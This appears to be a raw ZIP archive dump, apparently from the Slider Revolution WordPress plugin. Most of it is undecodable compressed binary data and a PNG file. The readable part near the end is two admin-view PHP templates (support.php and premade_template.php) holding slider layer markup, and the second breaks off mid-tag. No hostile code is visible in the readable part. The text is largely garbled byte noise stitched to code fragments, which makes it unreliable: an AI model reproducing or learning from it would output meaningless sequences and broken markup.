{A�fF1	e6{x���m�/W�r�����]4�h96,%~޵�i]O��/A�]��ub�<�U� -�OEɧW��}T������5}��Y��Bk`� g� GK�Ӛ�1:t�d�/���(��9 �ח��9 ���)���W��D)�
��!6���%<��l�\�ݭ-�*�
���U�;]"CdЏozm�(�J��6Lb2���w)�̠�j�S�~�s�l��$)��A��=
_���r>�����'�Ѧ��i���i»x�L��l��mij�"f8R'�(��_R�0CŸ��M%���'~y@���<J�?$��3�4ɗ�"�s�Q��gS��
�62\�9����bB\�ͨ����C<CM6�H���ݣT^}�>��ܱ�œ��/��p���	��D)�U�A��Q?��r>���!Uq�: }	V�����i]����y��~�u�
����V��
�(W��9���uږ�d�m�7l�G��Ҿq���}zq�v}��,��}	m���!�� �1a!�.l�EE{ �WC�_����1b�8o6�~ų#.X@U��H~o2�pdIsN�%�~�����[ě��M�"�LT���m�}i'\i�]V��k�oI"�H$�ʞ&b<�Ε��ۂH#S����b�󦌶��&�s�my
4�i���G`�����NJ�C"+M���ծ#3�v�f����K��3�˔�O�6и
�[�C>�`�|
��">RC�g��T��|�1��01�bX������#�T�&-���qB����K�'�	��D)�T*A��+����YV�L���V�=@c{J�+Cv�Fc%	�.zg`����vI�ݞ-Χ�p?߲�l��=���h��o7�ϔ\�0
nl�g��qww&�)F��ʑu�1��X{˪yb,Dҥ
�g�����컃�͢i���0i�t�$1���q<V,Ե���Χ��dd8�<DOՀ�쏊���t��\G�����O� �[۝5�y�v�w�:]`�H[���mX��o�%���n�
4jA�6�~kj
-.�R&��;�!�.�Ō�QX�c�w��@/�L�~�vҍ����O�?��2�ϴ̬�	�ӹ���-�*P!�u.���[�;��N�~[d�$(mߝ	��V����5߰��2p��*l�իX�s�!�E6��B���6H����
�=��ߒ�A��ށ�	�.���:Dd��jq��2�3m��Q{��=w�6Khf/~�[OS|���oJ�ъaD茪�Q����������8��P0]��'�����R�xs�0�kZ��(A�����!)��m��'�_&��iLiEA��E<!�.��ԗ�<�Xf€�%�jn���>7W�8�Ľ�,_L#�C!�i��L����K�&��V�tB�����Got��Ub���,I�	�����?�5`��e?���-B�"?��q?��s��V-������lT�co�:�k
��D)�n��B�C�체�ů�tA�4�Ÿ���r>��X�Kg#�C� ;'"�O+W�_1[1�6��|%���=�]'������cX�$�º�G��I�￵1a{�ְ��|$5�V�O�~�=^a�L���V�,��&���'�4V���j#�>�[��ҍIk��Z�5o7��:&�NG�<b�0�fW�0��A�~CEf%b��?�|�L�G�J�������4,�T�K��+;*o�� {6�R�V�����D(�V��?U�x$��#���
Ҭ׻�[$]B�ؾ�!Q�q��ސ�Kp^�p��9ћ�-7�&@ �F���:��I]������y��C�����Y+���vW���R#;�!��ϐJ�&D)�c�ǃ[�l�j�[<��6�9r�K �ū��+�C7W_2�o ==����̓
B�
�VE���2%��A�(=�7?|�����ըt@��Y7�+�)]�:�R�ߧ<]�sfZu�G05�W�D��
�f�|q�Ɓ��.�-�R �q╷�˻�b��%��n��(O�P�J��0Z��Lz9��m���xh)��Xe��6���H�-��)��A�I>L��r>��X�Y�YXĎ�FO@�$�9�˰9�+Zm��ڱ�����
u�Hy��	$XK�UKo�w�f�1���[4�$���L�g�JN^%Y�]\�g�?��uD-꨽��	[~Y�c�8��ָ�����p�A�kQ���r>����^d�Af�IJD�4ˡ�E��b?��I1E�(b��d>�����j�maP?��:	��
��ۓ��Y��NG�K�V�P
�]L���cc��V�0������(���.��'�%PZTbyӁ��D)���6
A��+��L��I\�m�xqP�SZ�F)���V`�O�F��t�h�
�+�[���^Э�G,�渭5��9T��i�æm���*���ȶ3��+��I'�����T�L~�����E`��įJȰ�>R-�B�)���=�nK#�$t�v���[��)1�5���Vݠp?���.<��nү�W�%�0l'a���>1L�n�UY�'8Z��SsqFȄ��8�f'6��i
2�5L���kX�lۛP΁^��;ڮw�aA��E<%��������D)���߁��@(A��4��_���Yc&x����ѝT�R~^��6tS:AA��E,!���x���tB���vq!���D)��>�mA�4�‰��d��@�c�dZ�K�5�$�C͇�{䘡g�ޅP�"ۓY�4�֍t�!��oq9����m���@Y㐊�������Qw�A�rI�~��y�C�z��3D)��gV�8�<�A�6=
_���r>�����5�l-@0����]��Л�ѶSaӢ�1ҭҚb��lF��yݦ�E<�ᢉ����肊���`^�3鬔�
Q��X� ?D��"���Ɍ��ݤyH���պcjj�E2�@"&.$�`�.�s���~D=P�i=��M��QiE�E�uP�^�~3@�9�K�o������)�svN�L:xg��"�D��R��Bbq�o5�

; EI�8yO7q(�Sy2.���UK�UD)�̀��t�{"A�8+�52���zʝ�q��v�-q�? �33�����HE���9�:h�S��2Nb�m�l��A�W?��r>��õ�q
����U�f�ބ�I]P׾9�r%Q-|p�Y_��쾨߸X����*����e�5����Pؒ��b�|��p(�/��U�(���l1;��V��	��z�;H�C��9�?�+V�b�0��>r�qr1?��Q�cA�z+�sgTV��˱����n��2��8������/>���R[͘��|�J٨��!�q�^鮛?� 0��ꦓ�|�+`�Ę-\�i��%�
4@�L���«`d�]]"��m�q?������D��:n'jI��:'�( gكn��"�5�eS��ͨ��{W����I�]ڧ�>$�eI.l�"���{-[�B�M����	�Է�7���1E=݅*�g�$k��A��,�Ց<6�<�a&��	�&�RGvy)���*��2��Do%l��[�I��RW}���E���ɦ�����n���v�j�k(�D+�"�\�Dm�b1y{�	��A�,4�?C�茈�"�'A��E<%���rk=�<bXJ<����9\b��
#��X�	��D)�UGA��4��_<����,D,�j���q��>q\���
3�v�e��Q������R�Cm�-To��#�*I
A��E,!����tB�R��	��D)�T�A��4��_���Y* ��Ȳ��Q�6�5�g�Tˁ�e�b��:!Ό5٣�=q����U��Fo�Z�ח���`z
�����H¹��o>��9�R�����x��CT[�rkj匨���z)t5uIj��w�O1s@������X �b��l�5�����>��O���]���Ӈ�^��Z'��l�0�����"���F@R���F�6 _l5�$nPh7Z}y�E�P[E�%��p��\2	�B�bQo��\�/�s4>��e�3�d��M\�B��|eizޢ��t�w����ib���\fS*��U�S}m�^�
>$Pal���6l����e�c��ΨcⷞY7�>:+�����
)�ub�(�����g������t'��rh�[
�+��l&��(�)g���(r|������u��훽��GS8���{���s��c\�
���i�|m�yV�$�7xg*i���3�b�xcbq����x$��B��5,�;a=�o����Xb�j ��P�A�#n��}�3��z�HM}ш�0�$#��	A҉�&��ƿH� ?�B�mk?�_U4A*5�I�tf�B�if�C�?:��}al�1U�����^��BiB6�n�ӗ��i�
�0��z��%Thj+X?9%QK����g�X2�u�nR
�-�"*�F����4�=,)١��oo��
�������4M_���6�N���S�?�၇Tث��v0�^i��ٙv�(+��&�^N�2
J'ٶ3�ߢ�꤂�'�q�!1~��|��/qs+�~_0'�k�OkS�ѯ�'KXȓe`)V�|���a��.L�z�p����E��q3'�L�8?͸�R1����¿jI�λ+�����x�l��*��b3�.7��0��0��[�܁m�,ms�>�32F��i���ŷ��-���.Jg�����ӳ9
G+�l�>H�?̻��7��mq�5l�b%Z�q:e��Pi���,d�7�WB�h���^r�f��G����txjpi�]�ri�p&����u���vX�8��A�7�_��/�x7B�}=�^�C���<�Z\�~�l�e��䤠e�x��|>����#��%!cl;��C��7�R�n��3�01�c]���fؖ���?_�ڍ�ڮ�P���۱or�x6����Y@�)�Z�>O��3�j�DuH��~��@*a8��Obe��i}RN��B����+t"�$�(��yv�R�T���e��K�h���k�ףL_�Q�j��~.EO^d;�:��b<e�w�@������������$�m��r�9�dܜ���XRM5���8�!���'Ȑ���
:v}���s�a)8�>�M./�iqۯTk�sY�8Т��s%[��絓9��Z�	��}=�0�m�daRI��.N�Hh���N�-+��"�h�$��k6[�n�$�޵��H(�6ح�Ӱ���nY߈|��4>h��3����3�b�/ؙ��1'�b��L�qrB�-
��ГQ[,���NS-*!�ѓ_�)co��I���)�n
��f͎�0�$PX�8�Vs��O4epF��H���XR�x@�?�3YbQ��G�O*�k�ե'洭�0�C��!M�F����V�*h�%��?~��YҼ�+�z&�,A�E,!�c����L�X�I�G�RaiD�Pi��K���6���?tB��4��]/D���!D)����,7Q����לϵ�M' O��"�Z��*��R滋
'[	���1���]\���@J�U^�M�C�Ӝ�8��PN��x]zq�HK�Pm���+z�m!/5�P���՞$�1�@�!Q%g@���\���f�d߆K4%ޔ�d�*�AMF��y��$�e�tev�Q�|�E��A�#4���ʶ:'	�8jX���?���Χ�jP����i�r�_�m�@��sE�2��HV�@��;x]�](8���t��nd�)��b�Cd�߈ɠ75ž>�H!��E�S�CQ�ͣ=XK1i���S�˽���B��7xL�ۅ��D��ؾYX$~��=�R��]SJM�?2�(9��GΒ�I�b�\_�km
�;���+W�0�����݂N�Ju���}1�In�ɋ��/i-ƙ}h�=�>��
^�^����|F�l(d���t���xM�<��Q�7�;'��&��X�ڕ��&h�V�+����O�3ndL�(�O��ۿ�A��Et	��X%��A}�`C?.{d=��3y����.W���XM�'@��T}9M���"����~�n�70��B[�8��������cӕ�UЅz�pf��FC3�Q�SU�K�,Q)�py_T2���ls��/���,�[�C���/�脙ݣ���!Iw���h�$O8�5\�^dߎ%�yZT�1X)��fΪM܎�^�����G�x���=�W�����֗�
���D�t�%�	��~���g�c'�5���2��z��S�Y}|�g��E�NcC�w��/��W�Lʓ(B�ƧQ��;��fȿ���ɘ��6@�yʫ��������L�5.k:�k���ܞ�<�$Q�-�H��b(���=���k���;�z	�~zy��9���f��L]��n��"�����o�e�R`҈��չ�������"<��d�Y�' ?�RWH#�B���	GG~cx_2h�� �I8���R��Z>cr̽%H���8��T���ڪK3�]�<���I�A*�б1Mpp�g`b9a`IW�^�(�e���K֋��N�sA���y~��i�|�+չ#j�u΀�s����3�Zb��ܗ�v��#@�
x]��%�'CF)���;kkk����
�lr����<+�}�5!�)5��>�ӬE$��_:�%F&T��N�(bAIY�N��24�q�4��)Y��?������s��<ۯ��Ţ���@mC�V�/o�խ�f�u0�gx�RL�	J�N�a���KCB
<�p�u�<�n���I��l���E#yK�K�S�l��2T��&�?'���&}Cf��e9⠃�Rh"�A�D=��%!���/N�Rz�ۡ���LU2�n�h��~���~6�f7��9�l̃w��$�n`|c
l�fU�X�2W��
��QU�gU���Īp�&1Oil.��9L� ��<x����֝ZY Q3
J3	����4�ߟt�3	]{?m�J�$�&�Ї0xԪ�����1^$���K\�I�2�W�i�aL�[�m��Th�Ym��Dp�:2���@��U�u�:tg/��îd����sB�C���Ŋ�J�\-���I�tG�&z�W�-�IťKŷc���ymxť�_�@A�
�Ε\#z�lk�4`G:e���ׅ�0P���t!��oӴ�}�}��p1Jީ�M�_dϗ�g��D2k=&����b�-a���0~�]�[�YI'����K���3���(r$W�C�$�O7J�醸�OɈ}�q�f�IN�!�n{<��C�͚)K���l=���*����>�BW\��	Vukb� Gh��ܯ#��=�n��U+�UY*֎��	�?�|�K���qp,�[�q�$]�4T-���'�wC����:�>;�W�vXM���LO���=e!�H?�¨�1�xг��%(uO'�F7�!���/D�dn$+�8�E���S���ʜ��L�=���q�+b�
�W�h�xU	�����ir~o�<�"vcyf����4���VY�c�Y������zLyF)g�Ң�<cj^�7�Τ�^u���jF���Q�����L٥��~8���|�v��1�I���׏�W�E�=~���Q�ƲPo�郦�r ���$�e�o@,�X�Q	Dٚ��v�-��"��d��ܘ�N�:�Ġ�Ne߉U�3�Ӛ��Ea�d�ה/��`���6��[(.TA?�OqC7ۙ�q�-�ZV�O}�d���n@��T����n���E�M�~E4R�=�lG�i�>��WZv��D��u>g~��/�B��YBv�A��u2iև�ܽ�l�/I;�w�Ey�q�m���.
*.��#יPp���0O-}/��ZV'd�A�A�e>L����i�Yyg��If��G��CI�0�T� y�����={��
t���y	�GF����3�8�‚�����OޓJ���n��u^��Pٛ%������,4ùP%���e�<`|)`]����_�mƜ�h�ݳ�=��I@Żc^"Ȍr�o���:ͫ?G17i�\k~��A�Ѷ��W?(�!i�Ϗ��B�>�'��T@9����4���a���sY6�@��A��+�ςw��T���[�'.�Ku0�mc
��۱��_d^l7W����M���&8��D�
��6�k0����]�M!Lq>���P$*>��,����y�T`'����w>��{��$5]��[=93��q�M{�&�	U>:�
}b�p!���
r�m�S�v��-5�=;d<~V�|-!]7(=F(^��Ǹ�I�(�&�/�J4�j�~�|���Vg��&^͑ų���5��G��˂c��_�U�&�i$w�L+����5��#(�P+�࠭���=C��kA��E<!�0��qn�!�E#a��tB�!f����D)�;_eSF�.�b��A��4��_��.t��hJ�
S��<E��Ԛ�~��WGh�-Nkܲ�&ބ��y�+Om'���!�`ޗjv:+Ʋ%^��#�ޚ�<C�*�ʇ�_#��`��E���ry_��%��-\��F��'��m�nL�6�~k�3�b>#�t����{P�L�X�xE�<��{X(��X�i="�!>8��'KF��Lai5&��@O{
��_��Ȉjf�$v���w_>h�|J��F��
26GR��Rͤ�@���7	�P<�,��v#m�����k����k}���YY�c��Ţ
}���	�W5��N�E��qWԄ'�GӨ�]kd����_�9Vb�,�� ��R����A[��En�2y�u
�,��O#
BD8�W��A��E,!�0P
��^&�4�jQ1��Wj3}O���2w�O��Mߤ,����,@�u��藉B!�ø��F��>O�FYk�F��x���ŷ(1#1�7_����TFD�5�]a�P��VC2�@YTM��<�"ɚG��U]�l�;V��;nT�
tB�;��~���!O��
���[������T��*-D��K�J��J̜,!��ȆZ�p�����%�w�\�Ed�D)�:�Yw��D��@�I1L!c�|<�lT2|iJ�`-�� v����?v��Li��^#^�F�o�i_*Z�%��«�O�b�Hg�����9A�4�‰����pM�����N0aQ��16��v�o�0v@�0�{ST�W��y�L�r4I牀�Ğ9��a櫓H��sC73��@e�E��������G��~��U�x���eY��
�UšrD��N�2N�e"#���ؘ�_���=����-���{�I\��
h.���Ž��$�Ǎ���Q�C��5��7Ѥ
��m)�����k4�CWbY���s���$�(�;��.����Jo�J����Z�@4�����_����'��ߤ���Y�ɀ�.,i0���	�]���x��.D)�8eg�K���e��#��$P#��a�U�A�0=��n��C��Ft�x�r�UӪ��̤{��\�nu�8�����m��S\ob��ƶ=3��V�zJ
�"@��&��2o�m��@������!��˜����&J��L�#!�'Ս�J��/޻LJ�?��8,�׃�v��g�xv��%�Xv��5���Կ�.��-�J��3V�k������uVzF�p;ˣ�)�L���|2�[�l{��
6�%R'�,(�,£��)�&����#)�{ͯD�<<Q������A��"��)dT�Ճ
+�.���qڈ�=pL�HlX��̸�ehw��C���Y�����lO��Z��&6J�z���`�xȱ����{,X�#��DX9AHf^���f?Ǫ��t��t��(����"[k�0<�J�"�'�FE���
����&`g��9�"������cn2#�.���1a�V!&xy�kd���b/"�8���_q=�Y����cy��e��A�S>L�G���zd���ҩ?G�.�v��g=�;����`������a���O�5�ΐ��r�-z!�?v�����ڤdÑJHK|�f�H�HvG��~�Yx������E�<�u15�鴖�f����{e��b�Ox�tZ��~`���O3Y�Y8��2nE���}�j>
�Z���_tW�v���tHS��R�k�i,�.\P��7��x�9��3�l�b}r�ଭՂ�!RV���	��ã��)^�����R(��;�p
��hg3����y!jG�rv�/]������ZqϞI�}f���u%����	�9լ)�7	A8H�ik�L�@��p�L��uKP��׸��~�',H�5Z@��O����T=�*�-�%�z�M����J�:"]q����t��z�p�	��+��k!0����w�(�V�-���7��l���6�
��U�X��Q�vi_�v,z�|A�qE<%�3������,m�7���.�m@pp�2�w��t�f>谊�A �w�,��*t~BE��
�Mg����
�B��q����!y�C�|�7�*j+��Yրub�6�1��Ps��q19�ae��D)�:5z�t�y"YT7�W�|���%��� �,�Ol���2�@C+�hq]�H�L�n�
����J]l${���\i+�Cݭ5�c����A��4�ž�G�ψ��Ʌ�G6��.20�H�q$��-́w��~�2(Z�8c�<[~Z}�(�"��U�Hϕ�I��g�I��.mpc2�[�T�P���D ��QӄW�ݑY%sG����}�0��u���(sʢ�B���G
��p�[���Qs�j\�7�I8�:��jV`�u�,��`n����O+>�mԀޑ�/��D)��RB��Z�'�B�Lk�a沠
z0n�l���TSN��qA��=7��-�~�d�N��䑶vW�@�#�W}Y��I�o�$�+3��Wx����_�A��=��������&�T	�K\]�_��	(qJ�l)��\h���	��F�,!�1��JU�/Խ�.'U�N5([zh�`s���S|9ˈԏ4u���'u��,�xN��AI$<ruI�Z*�(z���F�Y9<�@�'s;�\E��,i�&���6�#f�v���Sˮ���W0�I��T�M�;C��{/�"����_�K������e�	V��b�G9=�睇�a;�M�)�I�Bgk���J�\x7Z�r��`78��ar�ڦT4Gk
��_�D���_�F����3F������`VA��E4L%�2@c�����불�FpϢFB���5IP�OX<I~�з��T�'��q8��uA�Ep�߮���|���k�H��?��D)�8�h:+��z���)��ٷ�K��f�)12�k�ɵ41�$���
�i3�@q��A��4���x���ӣ��/�3�����܅v�J-�{�)%Ϛ���B���{�II	���&�6*�kc�c$ϸ��6=���Ͳ��0��n��������?�g�1�R��>I�701�JO��H�5�5r%S��Y2X�_���8V�f���A�=�1}��,j��3��/�W3A��,^����#��|
����`�(/@��k(M&k��#"�œ߸��`�+W�Bq�F�9s	��Ffe�A�M�^tԯl<ۋ`؀ �78Pla&&yf�:'���;A�;>L44V8��S-�t���g��A?(���aoXA�6���A`�9�$����A�_+���Y��T���۠9���D%��N~}���lġ�IX�rօV��͈�;MJ+ds���ӽ�$1 ��r
�\��5eE��+c�$I{e��o:����[�a)�y<H�BNWFg=U;g����E�(���ە��AwGeG^e_��/h�O^߬<DCќ]�F�v�'��blngLл��n��BZV=R�4��n`ů�u�|YA�}E<!�,�N��tHKҩʧ�TYи��tB�83��S�	��D)�UKA��4��_��n2�U	�\l�?t�
=O\��k:-<��<�Ym�X��R��;�Q�gjA���}�\��(A��E,!�*>�֋�0	��tB�U	��D)�UZA��4��_��A5�׻�[.����]��Nq��,aY���V�ݰG�����fP݅����XYP0��������Q$��Νp߹�A��=�f$ ��@cӠ|Dr���`���di���Rʦ����
��{��
�.�O�j�b���o�0����	р��a�a����Z�ʱ� �2\�}�wZ~��R���=Eaoٓ�{1U(>{<���Wiv��=Ay�
JiKj\������Ir�9Uo�R�€���<�BzP\��s�wU1e��v]���i�D1V�aG(4]:�c;�����;M#��cA�E4L%�2r�XE�8���n]7*���>_ȑ������%vC�v_p�]��a�hFg
��jCO��ؑ��R��E� �n?J�¤K^0�?��,{�&D)�8������akj{t��}ϟ|M�AX��+j|Y=��\ލ��YkѠ�����Ɉ-آ���6ٽ�
�{t0U~����oz����yH��+	��q�
�=�V7�p�u|��DA�)4�žO( ڑ͹�D������I�����G�bklN]�OJ�,p:>��92�<X�^���?��W�u�w��V8DQ!�4�a�cW�@ǻ��Sq�N�+����F��fޢ]�N�DW�_�p�;�d;�F�02��-�D�ZŸ?�\��>����-�y�A��B���'��%�u[���/���I�TD�*Ô��Ea�A��7>��5ظ����1
2��8RkvX�W�_Z�y6%Œ����ߪ�E�v��F3W�	�=�t
G,Ӹt�/8n�簧�ܧ�l8�ݼ�h�lG�CcN�p[ZG;���2���Eoh��c�h�0 o��VKO�� ����;d���J&�v��i�Vx���W/ �)������5�ڌ��%=��Պ��ɲ�)�+~�V��=5��:j��o6
bt����fb\���c5?���"M�����Y�E�q��`'?�zSSl�Vİ�vB���u3��t�
$���k��R*��"VJxkp�d q�8�Q��M�	�H��Qb
vL�'Ol���+�D�w��zw��mE�{��ס�v�c�g�,�%�"�qË��r��M,M��MF�[�񙄊�
=�	i��1νb��C�ɾz�:*m��	����S�&��-O���zm`M��Y�N��@N��Jm�\U%�	j_͋�Z�x]�fU�AE�wCo�!����O�������d�!�4��(䋚zuo�UTSH����)[t�+roów�%�-m�`W��a�M�T���`��n�J
��ޤ�h8QQayn]�	F����g�dk��An@]��NĄ���HD)�C
Qg�*܏]��!)FX�z:T3\�*( t5���3�9E}�ȳB�qR���Ƕ֮3%�g_|]�ŋ3�;Sڝ˪s)*����!|��T�E�r)Xd�|\�̓;b匂c�Й�a�������y' vB�[;gd�^�"):G�ԇ:�rZY��:W�(�+���ʱ�NM�����:臋�U��p�➮�
7A�L=���A��Whz6̽g�sz~5�<9�f�N�|��`�1�z1̾�1��#�a���?���6À�=��=���V���
9-bYꡊ��
Z
6�H��_�io���
�{�+�e�>�S�6�T��r�����t�j�p��yxMC�¾q����I>h����,�}��׍��ĠD�<�Ij�	�6?j,��s�T�d�˫��`�EAGy+F?Bfʒe�F�^]��	&(��"m�yx�	��^;ی���P��_�g�Y��4p��
�bm}n[�A�b��5#�!��Et�1
K��}+��	-H�5*�V���O� C��`@��6﬜
���(�W���wvN������%��P�'ݰ����Y��{v�TKPU5��E��|z��g�Y�X���q�z�ΰ�o*�K�4�uz4#���@�Ҷ�`����Ɋ�KK㔔;ZWB"�P�0�2��z���@�\�#�t��ǑV�<�?����������܇�5�V��C�K/�߉�j�������ٴ"���h�>*s�anUQ�A�jE4L%�;���h{�Aֹ��V�i,~8�]h�'k�U�yGF���[����l�@K�bd^&`�M`�j+��'�z<Yl<�,�.��
}��
�9ۊL)Ll}�&c�&���,�����J� ��0�Tp'�ٙg� W9/�j8�ye�O�}u��f(�-�Rw'mY���ރU�~�=��D)�?������O�z{��Q�A؀���ޅPB���}b��y�f���bG{��k�C��MA��4��7fW:TM�|s�4��7��J~L��K���0��:I����Xj�ϓ��8�nɐa��)���KO�A��E,!���tB�?�M�M��	��D)�TA��4����.V:"0��X����ωA��E,!��{	�tB�T�D)�
G�-/pA�4���#͙5���A�6E,!����4���UtB�
G�N4�	�WD)�T
A�Z4�‰�?]�	�yD)�UPK�y3\�3_Vzz%views/features/assets/transparent.pngnu�[����PNG


IHDR,�z��tRNS���3IDATx��1 ����رp3�XM�4M�"M�4M�4M�4M�4M�4M�Nj�L$%��IEND�B`�PK�y3\�H���views/features/support.phpnu�[���<?php
if(!defined('ABSPATH')) exit();
?>
	<!-- START Benefit Support REVOLUTION SLIDER 6.2.50 -->
			<rs-module-wrap id="rev_slider_1030_1_wrapper" data-alias="benefit-support" data-source="gallery" style="background:transparent;padding:0;margin:0px auto;margin-top:0;margin-bottom:0;">
				<rs-module id="rev_slider_1030_1" class="feature_slider" style="" data-version="6.2.50">
					<rs-slides>
						<rs-slide data-key="rs-2091" data-title="Slide" data-anim="ei:d;eo:d;s:1000;r:0;t:fade;sl:0;">
							<img src="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/transparent.png" alt="Slide" class="rev-slidebg" data-no-retina>
<!--
							--><rs-group
								id="slider-1030-slide-2091-layer-6" 
								data-type="group"
								data-rsp_ch="on"
								data-xy="x:c;"
								data-text="w:normal;"
								data-dim="w:380px;h:330px;"
								data-clip="u:true;t:circle;o:clr;"
								data-frame_0="o:1;cp:0%;"
								data-frame_1="sp:1000;cp:75%;"
								data-frame_999="o:0;st:w;sA:9000;"
								style="z-index:14;"
							><!--
								--><rs-layer
									id="slider-1030-slide-2091-layer-0" 
									class="rs-noevents rs-nolc rs-layer-video intrinsic-ignore"
									data-type="video"
									data-rsp_ch="on"
									data-xy="x:c;y:-1px;"
									data-text="w:normal;"
									data-dim="w:380px;h:215px;"
									data-video="ap:false;vd:100;noint:t;l:true;ptimer:false;nse:f;sav:f;"
									data-mp4="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/supportvideo-1.mp4"
									data-frame_1="st:800;sR:800;"
									data-frame_999="o:0;st:w;sR:7900;"
									style="z-index:9;"
								>
								</rs-layer><!--

								--><a
									id="slider-1030-slide-2091-layer-1" 
									class="rs-layer"
									href="https://support.sliderrevolution.com/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=support" target="_blank" rel="nofollow noopener"
									data-type="shape"
									data-rsp_ch="on"
									data-xy="x:c;"
									data-text="w:normal;"
									data-dim="w:100%;h:100%;"
									data-actions='o:mouseenter;a:gotoframe;layer:slider-1030-slide-2091-layer-3;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1030-slide-2091-layer-3;f:frame_3;ch:true;||o:mouseenter;a:playvideo;layer:slider-1030-slide-2091-layer-0;||o:mouseleave;a:stopvideo;layer:slider-1030-slide-2091-layer-0;||o:mouseenter;a:gotoframe;layer:slider-1030-slide-2091-layer-4;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1030-slide-2091-layer-4;f:frame_3;ch:true;||o:mouseenter;a:gotoframe;layer:slider-1030-slide-2091-layer-5;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1030-slide-2091-layer-5;f:frame_3;ch:true;'
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:8700;"
									data-frame_hover="bgc:#006dd2;sp:200ms;e:power1.inOut;"
									style="z-index:8;background-color:#2a2c2f;cursor:pointer;"
								> 
								</a><!--

								--><rs-layer
									id="slider-1030-slide-2091-layer-2" 
									class="rs-noevents"
									data-type="text"
									data-color="#ffffff"
									data-rsp_ch="on"
									data-xy="x:c;y:235px;"
									data-text="w:normal;fw:700;a:center;"
									data-dim="w:100%;"
									data-padding="r:20;l:20;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:8400;"
									style="z-index:10;font-family:Roboto;"
								>Premium 1on1 Ticket Support 
								</rs-layer><!--

								--><rs-layer
									id="slider-1030-slide-2091-layer-3" 
									class="rev-btn rs-noevents"
									data-type="button"
									data-color="#b7bbc0"
									data-rsp_ch="on"
									data-xy="x:c;y:270px;"
									data-text="w:normal;s:15;l:32;fw:500;"
									data-dim="minh:0px;"
									data-padding="r:35;l:35;"
									data-border="bor:3px,3px,3px,3px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:7300;"
									data-frame_2="oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:400;c:#ffffff;bgc:#005db3;"
									data-frame_3="oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:300;"
									style="z-index:11;background-color:#3a3e44;font-family:Roboto;"
								>Submit A Ticket 
								</rs-layer><!--

								--><rs-layer
									id="slider-1030-slide-2091-layer-4" 
									class="rs-noevents"
									data-type="shape"
									data-rsp_ch="on"
									data-xy="x:c;y:1px;"
									data-text="w:normal;"
									data-dim="w:380px;h:215px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:7300;"
									data-frame_2="o:0;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:400;"
									data-frame_3="o:1;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:300;"
									style="z-index:13;background:linear-gradient(rgba(32,34,36,0) 0%, rgba(32,34,36,0.01) 6.67%, rgba(32,34,36,0.04) 13.34%, rgba(32,34,36,0.1) 20.01%, rgba(32,34,36,0.17) 26.68%, rgba(32,34,36,0.25) 33.35%, rgba(32,34,36,0.35) 40.02%, rgba(32,34,36,0.45) 46.69%, rgba(32,34,36,0.55) 53.36%, rgba(32,34,36,0.65) 60.03%, rgba(32,34,36,0.75) 66.70%, rgba(32,34,36,0.83) 73.37%, rgba(32,34,36,0.9) 80.04%, rgba(32,34,36,0.96) 86.71%, rgba(32,34,36,0.99) 93.38%, rgba(32,34,36,1) 100%);"
								> 
								</rs-layer><!--

								--><rs-layer
									id="slider-1030-slide-2091-layer-5" 
									class="rs-noevents"
									data-type="image"
									data-rsp_ch="on"
									data-xy="x:c;"
									data-text="w:normal;"
									data-dim="w:380px;h:214px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_0="sX:0.6;sY:0.6;"
									data-frame_0_mask="u:t;"
									data-frame_1="st:200;sp:600;sR:200;"
									data-frame_999="o:0;st:w;sR:7100;"
									data-frame_2="y:top;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:400;sR:200;"
									data-frame_3="y:0px;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:400;sR:100;"
									style="z-index:12;"
								><img src="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/coversupport.jpg" width="760" height="428" data-no-retina> 
								</rs-layer><!--
							--></rs-group><!--
-->						</rs-slide>
					</rs-slides>
				</rs-module>		
			</rs-module-wrap>
			<!-- END REVOLUTION SLIDER -->
PK�y3\
�M�zz#views/features/premade_template.phpnu�[���<?php
if(!defined('ABSPATH')) exit();
?>
	<rs-module-wrap id="rev_slider_1027_1_wrapper" data-alias="benefit_templates" data-source="gallery" style="background:transparent;padding:0;margin:0px auto;margin-top:0;margin-bottom:0;">
				<rs-module id="rev_slider_1027_1" class="feature_slider" style="" data-version="6.2.50">
					<rs-slides>
						<rs-slide data-key="rs-2088" data-title="Slide" data-anim="ei:d;eo:d;s:1000;r:0;t:fade;sl:0;">
							<img src="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/transparent.png" alt="Slide" class="rev-slidebg" data-no-retina>
<!--
							--><rs-group
								id="slider-1027-slide-2088-layer-6" 
								data-type="group"
								data-rsp_ch="on"
								data-xy="x:c;"
								data-text="w:normal;"
								data-dim="w:380px;h:330px;"
								data-clip="u:true;t:circle;o:clr;"
								data-frame_0="o:1;cp:0%;"
								data-frame_1="sp:1000;cp:75%;"
								data-frame_999="o:0;st:w;sR:8000;sA:9000;"
								style="z-index:14;"
							><!--
								--><rs-layer
									id="slider-1027-slide-2088-layer-0" 
									class="rs-noevents rs-nolc rs-layer-video intrinsic-ignore"
									data-type="video"
									data-rsp_ch="on"
									data-xy="x:c;y:-1px;"
									data-text="w:normal;"
									data-dim="w:380px;h:215px;"
									data-video="ap:false;vd:100;noint:t;l:true;ptimer:false;nse:f;sav:f;"
									data-mp4="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/templatesvideo.mp4"
									data-frame_1="st:800;sR:800;"
									data-frame_999="o:0;st:w;sR:7900;"
									style="z-index:9;"
								>
								</rs-layer><!--

								--><a
									id="slider-1027-slide-2088-layer-1" 
									class="rs-layer"
